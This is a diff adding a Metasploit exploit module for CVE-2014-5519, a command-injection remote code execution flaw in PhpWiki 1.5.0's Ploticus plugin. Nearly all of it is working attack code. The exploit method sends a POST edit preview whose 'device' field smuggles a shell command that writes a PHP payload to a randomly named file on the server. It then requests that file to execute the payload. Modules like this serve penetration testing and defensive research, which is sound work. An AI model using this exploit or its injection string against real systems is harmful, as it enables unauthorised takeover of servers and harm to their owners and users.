|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::PhpEXE |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Phpwiki Ploticus Remote Code Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + The Ploticus module in PhpWiki 1.5.0 allows remote attackers to execute arbitrary |
| 19 | + code via command injection. |
| 20 | + }, |
| 21 | + 'Author' => |
| 22 | + [ |
| 23 | + 'Benjamin Harris', # Discovery and POC |
| 24 | + 'us3r777 <us3r777[at]n0b0.so>' # Metasploit module |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + [ 'CVE', '2014-5519' ], |
| 30 | + [ 'OSVDB', '110576' ], |
| 31 | + [ 'EDB', '34451'], |
| 32 | + [ 'URL', 'https://sourceforge.net/p/phpwiki/code/8974/?page=1' ], # This commit prevents exploitation |
| 33 | + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/77' ] # The day the vuln went public |
| 34 | + ], |
| 35 | + 'Payload' => |
| 36 | + { |
| 37 | + 'BadChars' => "\x00", |
| 38 | + }, |
| 39 | + 'Platform' => 'php', |
| 40 | + 'Arch' => ARCH_PHP, |
| 41 | + 'Targets' => |
| 42 | + [ |
| 43 | + [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], |
| 44 | + [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] |
| 45 | + ], |
| 46 | + 'DefaultTarget' => 0, |
| 47 | + 'DisclosureDate' => 'Sep 11 2014')) |
| 48 | + |
| 49 | + register_options( |
| 50 | + [ |
| 51 | + OptString.new('TARGETURI', [true, 'The full URI path to phpwiki', '/phpwiki']) , |
| 52 | + ], self.class) |
| 53 | + end |
| 54 | + |
| 55 | + def exploit |
| 56 | + uri = target_uri.path |
| 57 | + |
| 58 | + payload_name = "#{rand_text_alpha(8)}.php" |
| 59 | + php_payload = get_write_exec_payload(:unlink_self=>true) |
| 60 | + |
| 61 | + res = send_request_cgi({ |
| 62 | + 'uri' => normalize_uri(uri + '/index.php/HeIp'), |
| 63 | + 'method' => 'POST', |
| 64 | + 'vars_post' => |
| 65 | + { |
| 66 | + 'pagename' => 'HeIp', |
| 67 | + 'edit[content]' => "<<Ploticus device=\";echo '#{php_payload}' > #{payload_name};\" -prefab= -csmap= data= alt= help= >>", |
| 68 | + 'edit[preview]' => 'Preview', |
| 69 | + 'action' => 'edit' |
| 70 | + } |
| 71 | + }) |
| 72 | + |
| 73 | + if not res or res.code != 200 |
| 74 | + fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") |
| 75 | + end |
| 76 | + |
| 77 | + upload_uri = normalize_uri(uri + "/" + payload_name) |
| 78 | + print_status("#{peer} - Executing payload #{payload_name}") |
| 79 | + send_request_raw({ |
| 80 | + 'uri' => upload_uri, |
| 81 | + 'method' => 'GET' |
| 82 | + }) |
| 83 | + end |
| 84 | +end |
0 commit comments